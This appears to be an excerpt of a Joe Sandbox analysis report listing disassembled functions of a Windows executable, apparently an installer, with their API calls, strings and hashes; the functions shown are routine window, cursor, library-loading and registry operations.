Instruction Fuzzy Hash: D2515EB0604200AFDB14DFA8C985F9BBBE9EF08304F10459AB549DB292C778ED81CB58

Function 004572DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,?,?), ref: 0045732E

Part of subcall function 0042427C: GetWindowTextA.USER32(?,?,00000100), ref: 0042429C

Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00457395
TranslateMessage.USER32(?), ref: 004573B3
DispatchMessageA.USER32(?), ref: 004573BC

Strings

[Paused] , xrefs: 00457364

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Message$TextThreadWindow$CurrentDispatchEnumSendTranslateWindows
String ID: [Paused]
API String ID: 1007367021-4230553315
Opcode ID: 53079df397450839c1be9d6f90d1eabc7e4f06b59fd13b19abbe2567fd675748
Instruction ID: a72840e20965590be0df7748d4dcd1bfe023db3bc5775872eefead19b10ec59e
Opcode Fuzzy Hash: 53079df397450839c1be9d6f90d1eabc7e4f06b59fd13b19abbe2567fd675748
Instruction Fuzzy Hash: 633175319082449ADB11DBB9EC81B9E7FB8EF49314F5540B7EC00E7292D73C9909DB69

Function 0046B478 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99sleepCOMMON

Download Yara Rule

APIs

GetCursor.USER32(00000000,0046B5B7), ref: 0046B534
LoadCursorA.USER32(00000000,00007F02), ref: 0046B542
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046B5B7), ref: 0046B548
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046B5B7), ref: 0046B552
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046B5B7), ref: 0046B558

Strings

CheckPassword, xrefs: 0046B4DC

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: d3a4bda224e49b7c19c6e85614fa64fc2d363bef31ec0c6cb5b6db7cbc1567a3
Instruction ID: 73fb877c1e4dfe3485e101e0574a9cd8148d402c0bf43ecdc22ebbd1c1dc91ac
Opcode Fuzzy Hash: d3a4bda224e49b7c19c6e85614fa64fc2d363bef31ec0c6cb5b6db7cbc1567a3
Instruction Fuzzy Hash: 8A318234741204AFD711EB69C899FDA7BE4EF45308F5580B6B804DB3A2D778AE40CB99

Function 00477DC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00477CE8: GetWindowThreadProcessId.USER32(00000000), ref: 00477CF0
Part of subcall function 00477CE8: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00477DE7,0049C0A8,00000000), ref: 00477D03
Part of subcall function 00477CE8: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00477D09

SendMessageA.USER32(00000000,0000004A,00000000,0047817A), ref: 00477DF5
GetTickCount.KERNEL32 ref: 00477E3A
GetTickCount.KERNEL32 ref: 00477E44
MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 00477E99

Strings

CallSpawnServer: Unexpected response: $%x, xrefs: 00477E2A
CallSpawnServer: Unexpected status: %d, xrefs: 00477E82

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
String ID: CallSpawnServer: Unexpected response: $%x$CallSpawnServer: Unexpected status: %d
API String ID: 613034392-3771334282
Opcode ID: 938d03829804b4b335d5993def61d5358e979f07a3e2d71a44e1dbaa5b2b64f6
Instruction ID: 28a3d443adb5681cbf75f787d1d4035b8c0e403bae8a56f7a3c7edfd84534579
Opcode Fuzzy Hash: 938d03829804b4b335d5993def61d5358e979f07a3e2d71a44e1dbaa5b2b64f6
Instruction Fuzzy Hash: 7531A234B042159BDF10EBB9C8867EE76A0AF44314F9084BBB548EB382D67C8D418B9D

Function 00459784 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 0045983F

Strings

Failed to get address of .NET Framework CreateAssemblyCache function, xrefs: 0045984A
Failed to load .NET Framework DLL "%s", xrefs: 00459824
.NET Framework CreateAssemblyCache function failed, xrefs: 00459862
CreateAssemblyCache, xrefs: 00459836
Fusion.dll, xrefs: 004597DF

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc
String ID: .NET Framework CreateAssemblyCache function failed$CreateAssemblyCache$Failed to get address of .NET Framework CreateAssemblyCache function$Failed to load .NET Framework DLL "%s"$Fusion.dll
API String ID: 190572456-3990135632
Opcode ID: 30d6eb7b5594f7be86115a47ed4d8b8074cd2571106f838d68984864f228bbb4
Instruction ID: 9a538673283cb431493768ab67eac729fe35d93f11f945e2dcd414e2b3f175b6
Opcode Fuzzy Hash: 30d6eb7b5594f7be86115a47ed4d8b8074cd2571106f838d68984864f228bbb4
Instruction Fuzzy Hash: A2318B70E10649ABCB10FFA5C88169EB7B8EF45315F50857BE814E7382DB389E08C799

Function 0041C148 Relevance: 10.6, APIs: 7, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041C048: GetObjectA.GDI32(?,00000018), ref: 0041C055

GetFocus.USER32 ref: 0041C168
GetDC.USER32(?), ref: 0041C174
SelectPalette.GDI32(?,?,00000000), ref: 0041C195
RealizePalette.GDI32(?), ref: 0041C1A1
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C1B8
SelectPalette.GDI32(?,00000000,00000000), ref: 0041C1E0
ReleaseDC.USER32(?,?), ref: 0041C1ED

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Palette$Select$BitsFocusObjectRealizeRelease
String ID:
API String ID: 3303097818-0
Opcode ID: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
Instruction ID: 25a0b6576c779426e59073023ceed4ef49f3845c1b310514cd4f08ef327de147
Opcode Fuzzy Hash: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
Instruction Fuzzy Hash: 49116D71A44604BFDF10DBE9CC81FAFB7FCEB48700F50486AB518E7281DA7899008B28

Function 00418C54 Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000E), ref: 00418C70
GetSystemMetrics.USER32(0000000D), ref: 00418C78
6F552980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C7E

Part of subcall function 004107F8: 6F54C400.COMCTL32(0049B628,000000FF,00000000,00418CAC,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 004107FC

6F5BCB00.COMCTL32(0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418CCE
6F5BC740.COMCTL32(00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418CD9
6F5BCB00.COMCTL32(0049B628,00000001,?,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000), ref: 00418CEC
6F550860.COMCTL32(0049B628,00418D0F,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E), ref: 00418D02

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: MetricsSystem$C400C740F550860F552980
String ID:
API String ID: 1828538299-0
Opcode ID: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
Instruction ID: f48c8f8e6a400555c090207229051c9eae11b8a9b20c4da93df477ea8fa1a9e8
Opcode Fuzzy Hash: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
Instruction Fuzzy Hash: 6B112475744204BBDB50EBA9EC82FAD73F8DB08704F504066B514EB2C1DAB9AD808759

Function 00483DC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00483E78), ref: 00483E5D

Strings

LanmanNT, xrefs: 00483E27
WinNT, xrefs: 00483E0D
ProductType, xrefs: 00483DFC
ServerNT, xrefs: 00483E41
System\CurrentControlSet\Control\ProductOptions, xrefs: 00483DE4

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpen
String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 47109696-2530820420
Opcode ID: 580b6ebcc282feda728e66f4744ee476028ae89e3e5c4c31016e31958fd9d5bd
Instruction ID: 25921c403f2b5f567fb5f4f3c7af55a601c8772c13db7d52183c2381382c2629
Opcode Fuzzy Hash: 580b6ebcc282feda728e66f4744ee476028ae89e3e5c4c31016e31958fd9d5bd
Instruction Fuzzy Hash: 18118B30704244AADB10FF66D852BBF7BA8DB55B05F614877A800E7282E738DE06875C

Function 0041B462 Relevance: 10.6, APIs: 7, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SelectObject.GDI32(00000000,?), ref: 0041B470
SelectObject.GDI32(?,00000000), ref: 0041B47F
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
SelectObject.GDI32(?,00000000), ref: 0041B4C7
DeleteDC.GDI32(00000000), ref: 0041B4D0
DeleteDC.GDI32(?), ref: 0041B4D9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
Opcode ID: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
Instruction ID: 052e9154069abc57648b404522aaf552eddfcc6d95cd3388d63b7ef9ce004286
Opcode Fuzzy Hash: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
Instruction Fuzzy Hash: 7B115C72E40619ABDB10DAD9DC86FEFB7BCEF08704F144555B614F7282C678AC418BA8

Function 0049565C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0049566D

Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7

SelectObject.GDI32(00000000,00000000), ref: 0049568F
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00495C0D), ref: 004956A3
GetTextMetricsA.GDI32(00000000,?), ref: 004956C5
ReleaseDC.USER32(00000000,00000000), ref: 004956E2

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 0049569A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Text$CreateExtentFontIndirectMetricsObjectPointReleaseSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 2948443157-222967699
Opcode ID: 6193ea116cced1d0ddecebe1ebaa873db022b6c64879767ff21dedb844ea8b8c
Instruction ID: aa45ef3a08b9b1b3d6db281b41741beecd98e5659053a5c9a55995a42d862fa4
Opcode Fuzzy Hash: 6193ea116cced1d0ddecebe1ebaa873db022b6c64879767ff21dedb844ea8b8c
Instruction Fuzzy Hash: DF01C476A04704BFDB01DBA9CC45E5EB7ECDB08700F600476F604E3280D678AE108B28

Function 00423394 Relevance: 10.6, APIs: 7, Instructions: 56threadwindowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 004233AF
WindowFromPoint.USER32(?,?), ref: 004233BC
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004233CA
GetCurrentThreadId.KERNEL32 ref: 004233D1
SendMessageA.USER32(00000000,00000084,?,?), ref: 004233EA
SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 00423401
SetCursor.USER32(00000000), ref: 00423413

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
Instruction ID: 22bb490dc700fc35bbf8fe9eba0271ced42fa0644d0760cf779c582944844a3d
Opcode Fuzzy Hash: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
Instruction Fuzzy Hash: BA01D4223046103AD6217B755D82E2F26E8DB85B15F50407FF504BB283DA3D9D11937D

Function 00495480 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 00495490
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0049549D
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 004954AA

Strings

MonitorFromRect, xrefs: 00495497
user32.dll, xrefs: 0049548B
GetMonitorInfoA, xrefs: 004954A4

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 667068680-2254406584
Opcode ID: 1f09ea86fa9f1161c7bb6facee3a330abbae00fa7718bfc66bdeed5218745655
Instruction ID: b7d09f1d66b2cebba25e8f78ccdc85d8b1554d01ca73cca348f52a405d9fcbb0
Opcode Fuzzy Hash: 1f09ea86fa9f1161c7bb6facee3a330abbae00fa7718bfc66bdeed5218745655
Instruction Fuzzy Hash: B6F0C292641F1526DA61256A0C41B7F7DCCCB81771F350037BD04A6282E9689C5087ED

Function 0045D688 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(02400000,BZ2_bzDecompressInit), ref: 0045D691
GetProcAddress.KERNEL32(02400000,BZ2_bzDecompress), ref: 0045D6A1
GetProcAddress.KERNEL32(02400000,BZ2_bzDecompressEnd), ref: 0045D6B1

Strings

BZ2_bzDecompress, xrefs: 0045D69B
BZ2_bzDecompressEnd, xrefs: 0045D6AB
BZ2_bzDecompressInit, xrefs: 0045D68B

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 190572456-212574377
Opcode ID: 0c00d940adfee3eed657d73ca32928dd6beaef8d72542be6af97d79d08c28db7
Instruction ID: 26f5c6c79611f6cc0facecefa5b4932716cc5d8e9f8ea2477ead0514974f6e87
Opcode Fuzzy Hash: 0c00d940adfee3eed657d73ca32928dd6beaef8d72542be6af97d79d08c28db7
Instruction Fuzzy Hash: 0EF01DB0D00705DFD724EFB6ACC672736D5AB6831AF50813B990E95262D778045ACF2C

Function 0042EA1C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30libraryloaderwindowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002,00000000,0048141C), ref: 0042EA35
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EA3B
InterlockedExchange.KERNEL32(0049B668,00000001), ref: 0042EA4C

Part of subcall function 0042E9AC: GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
Part of subcall function 0042E9AC: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
Part of subcall function 0042E9AC: InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9

ChangeWindowMessageFilterEx.USER32(00000000,?,00000001,00000000,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042EA60

Strings

user32.dll, xrefs: 0042EA30
ChangeWindowMessageFilterEx, xrefs: 0042EA2B

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc$ChangeFilterMessageWindow
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 142928637-2676053874
Opcode ID: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
Instruction ID: 20967f7a279d57b19857f2ad39d34e10c6be6de8430a8d3efc5b40b14e24a4c3
Opcode Fuzzy Hash: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
Instruction Fuzzy Hash: 99E092A1741B20EAEA10B7B67C86FAA2658EB1076DF500037F100A51F1C3BD1C80CE9E

Function 0044C7DC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,0044F089), ref: 0044C7EB
GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044C7FC
GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044C80C

Strings

LresultFromObject, xrefs: 0044C7F6
CreateStdAccessibleObject, xrefs: 0044C806
oleacc.dll, xrefs: 0044C7E6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 2238633743-1050967733
Opcode ID: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
Instruction ID: d6497c9818d993b67a5702c7731996643d684f189bbd4b702b1f6e54e13363b7
Opcode Fuzzy Hash: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
Instruction Fuzzy Hash: 50F0DA70282305CAE750BBB5FDD57263694E3A470AF18277BE841551A2C7B94844CB8C

Function 00478D74 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00498D78), ref: 00478D7A
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478D87
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478D97

Strings

kernel32.dll, xrefs: 00478D75
VerifyVersionInfoW, xrefs: 00478D91
VerSetConditionMask, xrefs: 00478D81

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
API String ID: 667068680-222143506
Opcode ID: 38e5a7150ec03c6d9b7b5e0811c14b529cbe67c52f639ab39c7042ff428b1b8a
Instruction ID: 629efeff2940ecd2eda783961154afe4f10d194e4720689bf605bb13d0e90904
Opcode Fuzzy Hash: 38e5a7150ec03c6d9b7b5e0811c14b529cbe67c52f639ab39c7042ff428b1b8a
Instruction Fuzzy Hash: B1C0C9F02C0701EE9650B7B15CCAD7A2948C960728320803FB449A61C2D97C0C104F2D

